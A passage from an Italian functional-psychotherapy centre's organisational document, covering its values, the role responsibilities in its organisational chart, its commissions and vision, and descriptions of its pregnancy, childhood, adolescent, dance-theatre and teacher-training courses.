all’integrazione del Sé. Inoltre, vi è la possibilità di trovare una rete di professionisti che si occupa evolutivamente dei diversi cicli di vita (accompagnamento alla gravidanza, infanzia, adolescenza, anzianità). Altri valori condivisi all’interno della nostra organizzazione riguardano lo sviluppo insieme e non individuale inteso come condivisione e confronto a livello professionale; coltivare il senso del piacere e della piacevolezza nello stare in gruppo. Altro elemento ideale è un valore della persona in sé, inteso come organizzazione in positivo, cioè che ci porta a pensare sempre al meglio degli altri chiunque essi siano. Il punto di partenza storico è stato l’insegnamento teorico e pratico di W. Reich i cui valori sono amore, lavoro e conoscenza. Accanto a questi condividiamo l’importanza di una base scientifica e sperimentale orientata al Neofunzionalismo con particolare riferimento al funzionamento creativo della persona. 4. L’ASSETTO ORGANIZZATIVO INTERNO ORGANIGRAMMA GENERALE ASSEMBLEA DEI SOCI Presidente Consiglio Direttivo Responsabile Gestione Qualità e Sistema Informativo Responsabile Formazione Comitato Scientifico (Coordinatore Scientifico) Responsabile Amministrazione Commissioni (vedere allegato n° 1) | FIGURA | ATTIVITA' DI COMPETENZA | |---------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | Assemblea dei soci | 1. L’assemblea ha sempre l’ultimo potere di voto 2. Garantisce la definizione, attraverso le commissioni e il consiglio direttivo, con cadenza annuale la progettualità associativa (tipologie di intervento, ricerche, progetti, formazione, definendo gli obiettivi professionali e formativi da raggiungere, definendo i tempi, i responsabili, le risorse disponibili e l’indicatore misurabile da utilizzare per la verifica 3. Garantisce, in coordinamento con le commissioni e il consiglio direttivo, la pianificazione dei fabbisogni di risorse necessarie per il raggiungimento degli obiettivi qualitativi stabiliti 4. Assicura, attraverso le commissioni e il consiglio direttivo, l’instaurazione e il mantenimento dei rapporti con l’esterno: istituzioni locali, organizzazioni produttive e di servizio, associazioni, ecc. per cogliere le evoluzioni e i bisogni di formazione 5. Garantisce, in coordinamento con le commissioni, la rappresentanza e la promozione dell’immagine della società verso l’esterno 6. Prende visione e approva il bilancio preventivo e consuntivo del Budget 7. Delibera sull’eventuale rinnovo delle cariche sociali 8. Delibera sulle quote associative annuali | | Revisori dei conti | Verificare l’adeguatezza dell’associazione alle normative tributarie e fiscali e la correttezza del loro adempimento | | FIGURA | ATTIVITÀ DI COMPETENZA | |------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------| | Consiglio Direttivo | Assicura la gestione economica e finanziaria, finalizzata al conseguimento degli obiettivi di efficienza ed efficacia | | (Presidente) | • a)(da statuto) a) delibera sulle domande di ammissione dei soci; | | | • b) redige il bilancio preventivo e quello consuntivo da sottoporre all’Assemblea; | | | • c) fissa le date delle assemblee ordinarie dei soci da indire almeno una volta all’anno e convocare l’Assemblea straordinaria qualora lo reputi necessario | | | • o venga chiesto dai soci; | | | • d) redige gli eventuali regolamenti interni relativi alle attività da sottoporre all’approvazione dell’Assemblea degli Associati; | | | • e) adotta i provvedimenti di radiazione verso i soci qualora si dovessero rendere necessari; | | | • f) attua le finalità previste dallo statuto e l’attuazione delle decisioni dell’Assemblea dei soci. | | | • h) stabilisce l’importo delle quote annue di Associazione; | | | • i) decide sugli investimenti patrimoniali. | | RESPONSABILE AMMINISTRAZIONE | 1. Gestisce l’operatività bancaria e in generale la tesoreria della Società | | (tesoriere) | 2. Assicura la predisposizione e la gestione del Budget | | | 3. Supervisiona in itinere il budget dei singoli progetti formativi e curare la chiusura dei rendiconti secondo le normative previste dall’Ente finanziatore. | | | 4. Collabora alla stesura dei budget dei progetti/corsi | | | 5. Gestisce gli aspetti amministrativi attinenti il personale | | | 6. Garantisce il rispetto delle direttive regionali/nazionali sulla rendicontazione e su aspetti di gestione operativa | | | 7. Supervisiona in itinere il budget dei singoli progetti formativi e curare la chiusura dei rendiconti secondo le normative previste dall’Ente finanziatore. | | | 8. Collabora alla stesura dei budget dei progetti/corsi | | | 9. Gestisce la contabilità generale ed analitica | | | 10. Gestisce amministrativa e contabile | | | 11. Cura le relazioni con i fornitori e/o collaboratori dopo l’acquisizione del materiale e/o servizi | | | 12. Garantisce il rispetto delle direttive regionali/nazionali sulla rendicontazione e su aspetti di gestione operativa | | FIGURA | ATTIVITA' DI COMPETENZA | |------------------------|-----------------------------------------------------------------------------------------| | COORDINATORE COMITATO | 1. Studia e valuta i progetti verificandole la fattibilità durante tutto l'iter | | SCIENTIFICO | 2. incarica il/i responsabile /i di ogni progetto e le funzioni di cui sarà incaricato | | | 3. controlla e approva il piano formativo annuale (progettazione di massima) | | FIGURA | ATTIVITA' DI COMPETENZA | |--------|-------------------------| | COMITATO SCIENTIFICO | 1. Garantisce la cura e l’elaborazione, (supervisione) dei contenuti scientifici dei progetti formativi, ricerche e interventi clinici e di prevenzione 2. Assicura l’aggiornamento costantemente a livello teorico pratico delle attività e servizi proposti dalle commissioni programmi affinché siano sempre: - in linea con l’evoluzione nazionale e internazionale dei metodi proposti - in coerenza con lo sviluppo del modello Funzionale - rispondenti alle esigenze formative degli allievi - rispondenti alla domanda di psicoterapia sia in ambito pubblico che privato di un’utenza in aumento - rispondenti alle esigenze attuali dei pazienti che sempre più richiedono interventi efficaci e duraturi da realizzare in tempi brevi 3. Definisce, in accordo con le commissioni, con cadenza periodica la progettuallità di ciascuna commissione (tipologie di attività, definendo le priorità da raggiungere, definendo i tempi, le risorse disponibili e i criteri da utilizzare per la verifica) 4. Approva l’introduzione di nuovi progetti delle commissioni durante l’anno 5. Assicura e verificare, attraverso le commissioni (in funzione delle rispettive aree di competenza), utilizzando mezzi e strumenti opportuni, la domanda e l’offerta di formazione del territorio regionale, che vi sia la soddisfazione delle necessità e delle attese dei Clienti, obiettivo principale che l’Associazione intende perseguire. 6. Controlla, attraverso le commissioni, l’instaurazione e il mantenimento dei rapporti con l’esterno: istituzioni locali, organizzazioni produttive e di servizio, associazioni, ecc. 7. Assicura il buon funzionamento delle commissioni in termini di monitoraggio dello sviluppo professionale dei membri e di utilizzo efficace ed efficiente delle competenze associative (la selezione, la valutazione e lo sviluppo delle risorse umane e professionali) | Nel caso dei corsi ECM: il comitato Scientifico, su indicazione e proposta del Resp. Formazione ECM, nomina il responsabile scientifico del corso (il responsabile scientifico non è necessariamente della commissione proponente per gli Ecm) 8. Affidare al Responsabile Scientifico del corso formativo ECM le funzioni specificate 9. Affidare al Responsabile formazione ECM le funzioni specificate 10. Affidare al Responsabile Amministrativo le funzioni specificate 11. Nel caso dei corsi ECM: il comitato Scientifico, su indicazione e proposta del Resp. Formazione ECM, nomina il responsabile scientifico del corso (il responsabile scientifico non è necessariamente della commissione proponente per gli Ecm) | FIGURA | ATTIVITA' DI COMPETENZA | |-------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | RESPONSABILE AREA FORMAZIONE | 1. Assicura il Supporto alle commissioni nell’analisi di fattibilità dei nuovi progetti formativi 2. Assicura il supporto, assieme al responsabile scientifico, alle commissioni al monitoraggio del processo e degli esiti formativi 3. Garantisce l’adattamento dei progetti formativi e l’elaborazione dei progetti operativi con particolare riferimento al piano delle risorse 4. Assicura la diffusione del know-how rispetto alla valutazione della formazione, alla formazione di equipe di intervento con il possesso di adeguate competenze, attraverso consulenze mirate o l’organizzazione di incontri periodici, per evidenziare problemi, esigenze di chiarimento 5. Definisce il piano formativo annuale in collaborazione con il Comitato Scientifico | | RESPONSABILE GESTIONE QUALITA' E SISTEMA INFORMATIVO | 1. Promuove lo sviluppo della cultura della qualità 2. Forma sulle metodologie e gli strumenti della qualità 3. Informa sullo stato della qualità dei servizi erogati 4. Persegue obiettivi di sviluppo qualitativo delle varie attività didattiche e/o formative 5. Sviluppa il sistema qualità e supportare la soluzione dei problemi di qualità 6. Presidia e assicura la corretta trasmissione delle informazioni e dei documenti ai soggetti coinvolti nell’attività 7. Garantisce l’assistenza tecnica alle attività per l’utilizzo di supporti informatici 8. Gestisce del sistema regionale ECM per l’attribuzione dei crediti e inserimento dati | | FIGURA | ATTIVITA' DI COMPETENZA | |-------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | RESPONSABILE SCIENTIFICO DEL | 1. Si Attiene a quanto descritto nella procedura Qualità, e segnalare al Responsabile qualità ogni non conformità | CORSO | 2. Verifica il raggiungimento di tutti gli obiettivi formativi | 3. Svolge le funzioni affidategli dal Coordinatore del Comitato Scientifico | 4. Supervisiona il programma didattico e renderlo conforme alle direttive regionali | 5. Predisponde il materiale didattico sui dispositivi informatici per gli allievi e per i docenti | 6. Garantisce la raccolta DELLA DOCUMENTAZIONE didattica del corso, a partire dai materiali consegnati e segnalati dai docenti sino ai lavori prodotti dagli allievi , provvedendo alla loro raccolta, ordinamento cronologico/logico, eventuale integrazione e sistemazione anche formale | 7. effettua il controllo delle verifiche di apprendimento e dell'efficacia dell'intervento formativo programmato dai docenti. | 8. Garantisce una migliore comunicazione fra docenti e allievi segnalando ai docenti (non al responsabile scientifico che altrimenti segnala a sé stesso) responsabile scientifico eventuali problematiche per concordarne la soluzione. | | SEGRETERIA ORGANIZZATIVA | 1. Garantisce la disponibilità dei materiali didattici e di consumo individuali e d'aula controllando il corretto uso degli stessi da parte degli allievi | 2. Garantisce la raccolta della documentazione didattica del corso, a partire dai materiali consegnati e segnalati dai docenti sino ai lavori prodotti dagli allievi , provvedendo alla loro raccolta, ordinamento cronologico/logico, eventuale integrazione e sistemazione anche formale. | 3. Svolge il ruolo di Segreteria amministrativa dei corsi | 4. Garantisce la distribuzione ed elaborazione dei questionari di rilevazione di gradimento, di apprendimento e le schede anagrafiche | 5. Garantisce la funzionalità di tutte le attrezzature controllando il corretto uso delle stesse da parte degli allievi | 6. Garantisce la disponibilità dei materiali didattici e di consumo individuali e d'aula controllando il corretto uso degli stessi da parte degli allievi | 7. Cura le relazioni con i fornitori e/o collaboratori dopo l'acquisizione del materiale e/o servizi | 8. Illustra ai partecipanti il programma, i contenuti e gli obiettivi per accertare il loro grado di adesione agli obiettivi formativi o raccogliere eventuali esigenze | | FIGURA | ATTIVITA' DI COMPETENZA | |------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------| | TRAINER DELLA COMMISSIONE | Il trainer è un ruolo istituzionale ed ha una funzione orientativa 1. Collabora e presidia all'organizzazione dei vari gruppi di lavoro 2. Assicura il supporto nella progettazione di nuove iniziative da parte dei gruppi di lavoro: convegni, congressi, corsi, open day... 3. Presidia la pianificazione progettazione e attuazione dei progetti dei vari gruppi di lavoro 4. Conosce i vari progetti, formativi e non, e proporre eventuali soluzioni ai problemi organizzativi e didattici connessi 5. Conosce i livelli di competenza delle risorse umane della commissione e quelle logistiche connesse all'erogazione dei servizi e delle attività condotte dai gruppi di lavoro 6. Svolge azioni informative interne alla commissione, interne all'associazione delle attività promosse e portate avanti 7. Si relaziona per le diverse questioni che riguardano lo sviluppo e il benessere della commissione con il Consiglio direttivo, il responsabile della formazione e il comitato Scientifico 8. Convoca la commissione in situazioni critiche per cose che afferiscono o vengono richieste in quell'area 9. raccoglie o sa dov'è la documentazione, mantiene l'elenco del materiale e attività svolte | | FIGURA | ATTIVITA' DI COMPETENZA | |--------|-------------------------| | COMMISSIONE | Funzioni delle commissioni - Funzione organizzativa che ha il compito di proporre le varie tipologie di attività al Comitato Scientifico per l’approvazione delle stesse: La commissione propone, il comitato scientifico approva - Coinvolge e «agglomera» i soci su temi di interesse - Raccoglie, condivide ogni anno una progettualità di attività - Archivia le informazioni e materiali (e strumenti) per aree (raccoglie la storia) - Inserisce articoli e altro sulla tematica nel sito - Forma gli altri soci interessati alla propria area di interesse L’associazione si occupa, attraverso le commissioni di area professionale, degli orientamenti operativi e teorici nell’area professionale specifica - Ha ruolo di indirizzo - Fa proposte al comitato scientifico, al direttivo e all’assemblea - Coinvolge e «agglomerare» i soci su temi di interesse - Definisce progettualità comune - Archivia di informazioni e materiali (e strumenti) per aree (raccogliere la storia) - Inserisce articoli e altro sulla tematica nel sito - Forma agli altri soci interessati alla propria area di interesse L’associazione si occupa, attraverso le commissioni di servizio, di supportare la realizzazione delle attività operative indicate dalle commissioni nell’area professionale specifica | | DOCENTE | 1. Gestisce le attività didattico-scientifiche necessarie all’utenza per l’acquisizione e/o il potenziamento di conoscenze, capacità e competenze in coerenza con i fini e obiettivi della progettazione formativa. 2. Concorre alla progettazione di dettaglio dell’azione formativa con l’individuazione di obiettivi specifici e metodologie d’azione 3. Assicura ai soggetti coinvolti una costante informazione circa l’andamento dell’azione formativa 4. Concorre al sistema di monitoraggio, tutoraggio e valutazione fornendo gli elementi connessi alla propria attività, d’intesa con il servizio di valutazione 5. Illustra ai partecipanti il programma, i contenuti e gli obiettivi per accertare il loro grado di adesione agli obiettivi formativi o raccogliere eventuali esigenze 6. Rileva in itinere dell’apprendimento dei partecipanti | | FIGURA | ATTIVITA' DI COMPETENZA | |------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------| | RESPONSABILE SICUREZZA R.S.P.P. | 1. Adempiere agli incarichi previsti dal D.Lgs. 81/2008: 2. Verifica preliminare dello stato di adeguamento degli ambienti di lavoro, della documentazione, dell’organizzazione del lavoro e della formazione del personale in materia di sicurezza e igiene del lavoro 3. Definizione della composizione e dei compiti del gruppo di addetti al Servizio di Prevenzione e Protezione, in seguito a quanto emerso dalla valutazione dei rischi 4. Definizione e sviluppo di procedure per la gestione di: - verifiche periodiche; - presenza di personale esterno - dispositivi di protezione individuale - infortuni e mancati infortuni - gestione delle attrezzature - verifiche periodiche finalizzate al mantenimento nel tempo dello stato di adeguamento raggiunto - interfaccia con gli organi di controllo (presenza fisica in caso di sopralluogo da parte degli stessi) 5. assistenza telefonica continua e aggiornamento legislativo | | SQUADRA EMERGENZE | 1. Svolge un ruolo operativo nel primo impatto con la situazione incidentale e nelle operazioni di evacuazione 2. Si interfaccia con l’R.S.P.P. per aggiornamenti riguardanti la sicurezza e/o aggiornamenti dei mezzi antincendio; 3. di ogni altro dispositivo o attrezzatura finalizzati alla sicurezza | **ORGANIGRAMMA COMMISSIONI (Allegato n°1)** - COMMISSIONI (Allegato 2) - TRAINER - REFERENTE GRUPPO DI LAVORO - Docente | COMMISSIONE | Di servizio (S) Di area professionale (P) | Trainer (Cognome e nome) | Eventuali note: | |--------------------------|-------------------------------------------|---------------------------|-----------------| | Ciclo di vita | P | Rita Pinetti | | | Psicologia del lavoro | P | Chiara Pacquola | | | Attività cliniche | P | Luca Rizzi | | | Coppia genitorialità | P | Vanessa Marchesini | | | Pari opportunità | P | Roberta Rosin | | | Comunicazione non verbale| P | Valentina Cincotto | | | Stress, benessere | P | Ester Boccasso | | | Editoria e comunicazione | S | Chiara Pacquola | | | Tirocini | S | Giuseppe Rizzi | | | Scuola SEF | S | Lisa Buoso | | | Gestione del Centro | S | Vanessa Marchesini | | Il Centro di Psicologia e Psicoterapia Funzionale di Padova, ha stipulato una convenzione con l’Università di Padova per permettere agli studenti e ai neo-laureati di poter svolgere il tirocinio obbligatorio durante e in conclusione del loro percorso di studi. Dal 2006, pochi mesi dopo la costituzione del nuovo statuto, l’associazione risulta iscritta all’Albo Comunale e all’Albo Provinciale delle libere forme associative. Attualmente si sta lavorando per svolgere attività in diretta collaborazione con il Comune, in quanto la socia Roberta Lubrano è stata eletta a Novembre 2009 come portavoce delle Associazioni iscritte al registro comunale per l’area Educazione e Formazione. Rimane il collegamento con il Comune per la richiesta del patrocinio per le attività organizzate dal Centro. La collaborazione con gli Enti definiti nello schema avviene, in alcuni casi, attraverso la formazione di un partenariato nella partecipazione a progetti con bandi regionali, o attraverso la committenza diretta di un ente, in altri casi attraverso la consulenza o la supervisione di un socio presso un ente o un’istituzione. 6. LA VISIONE Nel nostro futuro continuiamo a vedere l’importanza della condivisione per la crescita delle nostre competenze, ovvero alla possibilità di arricchire le nostre conoscenze in diversi ambiti, di entrare, esplorare e di verificare se ci piacciono; sperimentare senza che altre aree di competenza siano considerabili delle torri d’avorio. Quindi, per noi è importante portare avanti i nostri progetti e realizzarli, soprattutto divenendo un punto di riferimento per la sperimentazione dell’uso del corpo nella ricerca e nell’applicazione clinica. Questo desiderio può diventare concreto grazie all’incremento del numero dei soci, elemento di maggior credibilità nel nostro ambito e dell’applicabilità delle nostre competenze. Nella nostra vision c’è l’obiettivo di stabilire un rapporto di collaborazione con l’Università per costruire strumenti di ricerca dotati di sempre maggiore scientificità; ampliare le convenzioni con le ASL nell’ambito clinico e psicoterapeutico; istituire collaborazioni con i Comuni, la Provincia e con più enti per renderci visibili nel territorio; strutturare un’editoria dell’associazione, elaborare materiale che colpisca di più mantenendo fede alla qualità e alla solidità del nostro lavoro: il layout deve riprodurre l’organizzazione interna che è sempre più strutturata. Tutto questo dando così l’idea di qualcosa che esiste e che sempre più si fa spazio, si afferma. Evolvendoci ci immaginiamo un cambiamento in positivo del nostro territorio, soprattutto a livello di prevenzione e promozione alla salute. Con il nostro approccio ci immaginiamo la possibilità di smontare il pregiudizio di intervento ed educazione come qualcosa da rimediare, e non come qualcosa che va verso il concetto di salute dell’intero Sé, non separando mente e corpo, ma trasformandolo in qualcosa di cui vogliamo prenderci cura per migliorare la qualità di vita delle persone a cui ci rivolgiamo. 7. CORSI E ATTIVITÀ DEL CENTRO DI PSICOLOGIA E PSICOTERAPIA FUNZIONALE 7.1 INTERVENTO FUNZIONALE SU DONNE IN GRAVIDANZA Secondo il modello Funzionale, la gravidanza è un momento di crescita e di cambiamento nella vita della donna che può essere molto favorevole per un’intesa più profonda con se stessa. In gravidanza i cambiamenti che riguardano la donna avvengono su tutto il Sé, a livello fisiologico, posturale-muscolare, cognitivo ed emotivo. Nell’accompagnamento alla donna in gravidanza, sono state messe a punto delle tecniche di tocco-massaggio Funzionale Integrato che hanno l’obiettivo di favorire il suo Benessere complessivo. Gli effetti del tocco e del massaggio in gravidanza sono stati studiati da molti ricercatori, tra i quali ricordiamo Tiffany Field, fondatrice del Touch Research Institute (TRI) dell’ospedale dell’Università di Miami, che ha dato un grande contributo alla sviluppo di questo settore. Benefici del Massaggio Funzionale: - ridurre gli effetti collaterali della gravidanza (mal di schiena, dolori alle gambe, disturbi del sonno); - facilitare il parto, riducendo la dolorosità e la durata del travaglio; - in alcuni casi, prevenire situazioni che potrebbero portare allo sviluppo della depressione post-partum; - riapprendere il linguaggio del corpo attraverso il tocco, per comunicare col proprio bambino; - se fatto in coppia, ritrovare armonia e intimità. **Destinatari** Tutte le donne in gravidanza a partire dal primo trimestre fino al parto per un intervento personalizzato, o con la partecipazione del partner. **Metodologia** La donna è invitata a sostenere un primo colloquio informativo di tipo diagnostico per poterla poi accompagnare nella gravidanza con un progetto centrato sulla sua persona. L’intervento vero e proprio può avere inizio già dai primi mesi di gravidanza. **Tempi** Le sedute individuali o di coppia vengono svolte settimanalmente e sono della durata di un’ora ciascuna. Questo tempo è suddiviso in tre parti, una prima fase di accoglienza, una seconda di intervento attraverso tecniche Funzionali di tocco-massaggio Integrato, una terza di condivisione delle sensazioni sperimentate e di formazione. La donna può poi essere accompagnata nel dopo parto attraverso lezioni di massaggio neonatale o attraverso incontri di sostegno e di ascolto delle problematiche. **Referenti** Vanessa Marchesini, Laura Casetta. 7.1.2 RICERCA IN GRAVIDANZA Gli effetti del tocco e del massaggio in gravidanza sono stati studiati da molti ricercatori, tra i quali ricordiamo Tiffany Field, fondatrice del Touch Research Institute (TRI) dell’ospedale dell’Università di Miami, che ha dato un grande contributo allo sviluppo di questo settore. Generalmente, gli effetti del tocco e del massaggio sono stati studiati, sotto il profilo dei sintomi, dall’ansia riportata dalla donna, ai disturbi posturali, come il mal di schiena e i problemi di circolazione nelle gambe, o per la comparsa e il trattamento della depressione pre e post-partum, per la nascita prematura e in base alla durata e dolorosità del travaglio. Altri studi si sono concentrati sulla relazione tra la donna incinta e il suo partner. Ricerche dimostrano che il massaggio porta alla diminuzione dei sintomi della depressione e dell’ansia, un sonno migliore, meno dolori lombari e livelli inferiori di cortisolo e norepinefrina, indipendentemente da chi somministra il massaggio. Inoltre, le mamme massaggiate riportano travagli meno lunghi e dolorosi, una permanenza più breve in ospedale e meno incidenza di depressione post-partum. Secondo il modello Funzionale, la rappresentazione del proprio corpo è utile al prevedere e all’essere consapevole su ciò che avviene, considerando le Sensazioni esperite come processo naturale, non solo come sintomo. Il lavoro sul corpo permette, dunque, alla donna: - di favorire la cura di sé, sperimentare un forte senso di sicurezza, di non abbandono, di fiducia e forza nel proprio corpo; - di ridurre la durata del travaglio e contenere il dolore; - di facilitare una reazione neuromuscolare favorevole al travaglio e alla fase espulsiva; - al compagno di ampliare l’esperienza del divenire padre facilitando, quindi, il vissuto di coppia. La ricerca scientifica, consiste nell’utilizzo di strumenti e test standardizzati, che consentono la necessaria valutazione e diagnosi della persona in oggetto, e nell’applicazione di tecniche di tocco massaggio Funzionale integrato per la progettazione di un adeguato e valido intervento clinico. La raccolta di dati consente, inoltre, di poter usufruire di un prezioso supporto statistico a dimostrazione dell’efficacia del tocco e del massaggio Funzionale integrato. **Destinatari** Tutte le donne in gravidanza a partire dal primo trimestre fino al parto individualmente o con la partecipazione del partner. **Metodologia** - Primo colloquio informativo di tipo diagnostico. - Somministrazione test. - Intervento suddiviso in tre parti, una prima fase di accoglienza, una seconda di intervento attraverso tecniche Funzionali di tocco-massaggio Integrato, una terza di condivisione delle sensazioni sperimentate e di formazione. - Somministrazione di test per la verifica dell’efficacia degli effetti del tocco-massaggio Funzionale integrato. Tempi Gli incontri vengono svolti settimanalmente e sono della durata di un’ora ciascuno. Referenti Laura Casetta, Vanessa Marchesini. 7.1.3 CORSO PRENATALE “MOVIMENTO E BENESSERE IN GRAVIDANZA” Oltre ad essere un evento personale, la gravidanza è un evento sociale, poiché porta ad una serie di cambiamenti adattivi, sia della donna rispetto all’esterno e al mondo circostante, sia del mondo circostante rispetto alla donna in gravidanza, soprattutto nel contesto familiare. La donna alla sua prima gravidanza, infatti, va verso un cambiamento, che non sarà solo momentaneo, ma proseguirà per tutta la vita. Per questo richiede un sostegno sociale per predisporre, preparare, consapevolizzare e conoscere il nuovo compito che si prepara ad assumere, quello materno e genitoriale. Un tempo questa preparazione al ruolo materno, alle fatiche, alle responsabilità e alle gioie che esso comporta, avveniva soprattutto attraverso la condivisione e lo scambio di informazioni tra donne nella comunità; adesso passa sempre più spesso, attraverso il canale medico sanitario ed attraverso la lettura di libri sul tema o la consultazione di siti web creati appositamente per fornire informazioni, dare spazio a blog di discussione, dove donne in gravidanza o neo-mamme si confrontano, si rassicurano, scrivono la loro opinione su un dato argomento o problema. Potersi scambiare vissuti e sensazioni, permette di ascoltare ed interiorizzare l’esperienza altrui, col passaggio di informazioni, sulla gestione di sé e degli eventi perinatali, soprattutto del parto. Un corso pre-parto, quindi, secondo il modello Funzionale non riguarda solo la preparazione al parto, ma è un accompagnamento volto a favorire il cambiamento della donna su vari aspetti di vita (personale, di coppia, familiare). La condivisione non è solo al femminile, ma anche al maschile, col partner, a cui la donna spiega le sensazioni sperimentate, fa sentire i movimenti del bambino nella pancia, apre le paure. La relazione col partner è molto importante in questo periodo perché, nella coppia, l’uomo e la donna, insieme, vanno verso un progetto comune. Il corso offre, quindi, la possibilità di coinvolgere i futuri papà per insegnare loro tecniche di massaggio da applicare durante la gravidanza e durante il travaglio. Obiettivi Questo corso prenatale è uno spazio innovativo dedicato alle future mamme per: - alleviare i sintomi causati da rigidità posturali per l’aumento del peso; - ascoltare il proprio corpo attraverso il movimento e il respiro; - sperimentare attraverso il tocco armonia e intimità nella coppia; - coinvolgere i futuri papà in tecniche di massaggio da applicare durante la gravidanza e durante il travaglio; - sostenere il contatto prenatale per una relazione più empatica con il/la proprio/a bambino/a; - condividere i propri vissuti e le proprie emozioni; - sperimentare profonde e piacevoli sensazioni di benessere. Questi obiettivi favoriscono, insieme, una preparazione psicofisiologica ottimale al parto e all’instaurarsi di una relazione empatica col proprio bambino, che avviene attraverso l’ascolto delle proprie sensazioni e del proprio corpo. **Destinatari** Tutte le donne in gravidanza a partire dal primo trimestre fino al parto. È previsto il coinvolgimento dei futuri papà. **Metodologia** La donna è invitata a sostenere un primo colloquio informativo di tipo diagnostico per poterla poi inserire nel gruppo di accompagnamento alla gravidanza. **Tempi** Il corso ha frequenza settimanale per un totale di 10 incontri della durata di un’ora e mezza ciascuno. **Referenti** Vanessa Marchesini, Laura Casetta. ### 7.2 LABORATORI INFANZIA Il laboratorio permette ai bambini di sviluppare nuovi modi di stare insieme, di fare e di conoscere, di scoprire e di inventare attraverso esperienze di gioco. **Obiettivi** - CALMA, rinforzare questa risorsa che ci permette di “stare” pienamente e di rigenerarci; - VITALITÀ, ampliare l’espressione del "lanciarsi nella vita" con gioia ed entusiasmo. Con questo laboratorio i bambini possono passare dall’una all’altra esperienza in modo morbido e graduale così che calma e vitalità diventino sempre più capacità proprie del bambino e future competenze per favorirne lo sviluppo. Si formeranno due gruppi per fascia d’età. Massimo 8 bambini per gruppo. **Destinatari** Per tutti i bambini di età compresa tra i 5 e i 10 anni. **Metodologia** Il lavoro prevede tecniche che fanno riferimento al Modello della Psicologia Funzionale specifiche per l’infanzia. **Tempi** Ciclo di 8 incontri a cadenza settimanale della durata di 2 ore. **Referente** Rita Pinetti. ### 7.3 GRUPPO ADOLESCENTI Questi incontri nascono per essere un sostegno alla necessità degli adolescenti di essere capiti nei loro bisogni e nel loro modo peculiare di mostrarsi protagonisti della loro vita. Il gruppo con gli adolescenti è uno spazio dove ci si può esprimere ed essere se stessi, dove condividere pensieri, progetti, idee e preoccupazioni, senza la paura del giudizio degli altri. Comunicando in gruppo e tramite le mirate esperienze che proponiamo, si può sperimentare di non essere soli in questa situazione. Essere accompagnati in questo cammino della vita diminuisce la paura, l’ansia del diventare adulti e aiuta a rendersi conto che la diversità è una risorsa per ciascuno. **Obiettivi** - Percepirsi e sentirsi nelle rapide modificazioni del sé. - Vivere meglio il proprio corpo. - Favorire i processi cognitivi. - Favorire l’espressività di se stessi, p. es. attraverso la musica, la danza, la pittura. - Stare meglio con gli altri. - Riconoscere le proprie capacità - potenzialità e metterle in atto. - Accettare i propri limiti e modificarli in risorse, quando possibile. **Destinatari** Rivolto a tutti i ragazzi e le ragazze dai 12 ai 18 anni. **Metodologia** Esperienze basate su metodologia riferita ad un modello ad implicazione corporea ed espressiva che utilizza attività esperienziali in gruppo con tecniche di danza e movimento, di contatto ed altre tecniche di espressività, come la musica e la pittura. **Tempi** Il corso avrà frequenza settimanale per un totale di 10 incontri. I cicli di incontri vengono riproposti durante tutto l’anno, con la possibilità di formarne di nuovi a seconda delle richieste. **Referente** Roberta Lubrano. ### 7.4 LABORATORI DI TEATRO DANZA La danza e il teatro sono attività espressive ed artistiche. Sono degli ottimi strumenti per facilitare la riflessione e la comunicazione di contenuti e significati tra individui e per promuovere uno sviluppo armonioso della persona. Inoltre, danno l’opportunità di crearsi strategie per lo sviluppo affettivo, cognitivo e di contatto con gli altri e di integrazione con se stessi. **Obiettivi** - Migliorare l’uso della voce come strumento espressivo e comunicativo. - Trarre piacere dal movimento in sé, fuori da ogni finalità. - Stimolare la creatività come base per la trasformazione individuale e il cambiamento. - Sviluppare la capacità di “sentirsi”, vale a dire di percepire come il proprio organismo reagisce agli eventi esterni per entrare in contatto con gli altri. - Sviluppare il “contatto” come capacità empatica che ci consente una comprensione integrata dei sentimenti e delle emozioni altrui. - Esplorare nuovi punti di vista della realtà e rappresentarla per aprirsi nel mostrarsi e realizzarsi senza giudizio. - Sviluppare le proprie capacità espressive e comunicative come base per relazionarsi con lo spazio, il tempo e gli altri. **Destinatari** Il corso è rivolto a tutti, in particolare agli studenti universitari che possono utilizzare il teatro e la danza come strumenti educativi e terapeutici nel proprio futuro professionale e a tutti coloro che, per il loro lavoro, devono prestare attenzione a competenze espressive e relazionali. **Metodologia** Esperienze basate sulle metodologie ad implicazione corporea ed espressiva che utilizzano: tecniche di danza e movimento, tecniche di gioco e improvvisazione teatrale, attività esperienziali in gruppo con tecniche di contatto ed espressività corporea. **Referenti**: Francesca Galvani, Roberta Lubrano. ### 7.5 EDUCARE COMUNICANDO **Obiettivi** - Allentare il controllo per recuperare energie e diminuire l’eccessiva tensione che è spesso la causa di disturbi fisici e psicosomatici - Favorire l’attenzione morbida, ovvero una capacità di concentrazione che non implica uno sforzo eccessivo, ma che consenta di cogliere una situazione nella sua globalità, quasi in leggerezza - Sviluppare la capacità di “sentirsi”, vale a dire di percepire come il proprio organismo reagisce agli eventi esterni per entrare in contatto con gli alunni e prendere delle decisioni - Sviluppare il “contatto” come capacità empatica che ci consente una comprensione integrata dei sentimenti e delle emozioni dei ragazzi - Esprimere la propria “forza - calma” e la propria assertività come mezzi che permettono all’insegnante di imporsi con autorevolezza - Sviluppare consistenza, presenza, solidità per una comunicazione coerente ed efficace affinché si possa avere influenza sugli altri senza farci spostare facilmente dalle decisioni prese - Favorire la capacità di prendere, intesa come possibilità di catturare l’attenzione degli alunni e di coinvolgerli attivamente nell’attività scolastica. **Destinatari** Il corso è rivolto a docenti di scuole elementari, medie e superiori, educatori ed operatori in ambito socio-educativo, nonché a psicologi e studenti di scienze dell’educazione e discipline attinenti che intendono sviluppare la sensibilità e capacità personali attraverso esperienze concrete e di lavoro corporeo, ed anche confrontarsi con la teoria e la tecnica del Modello Funzionale Corporeo. **Metodologia** Le attività esperienziali si svolgono in gruppo. Tempi Il corso ha frequenza settimanale per un totale di 10 incontri della durata di un’ora e mezza ciascuno. Il corso si tiene a cicli su richiesta. Referente Francesca Galvani. 7.6 SEMINARI TEORICO-ESPERIENZIALI Si tratta di un percorso formativo dove è possibile conoscere se stessi nel proprio funzionamento profondo, riguardo a temi specifici che di volta in volta vengono proposti. Il lavoro sviluppato in modo intensivo (due giorni consecutivi) consente di recuperare un funzionamento integrato e di sperimentarsi all’interno di quel particolare microcosmo 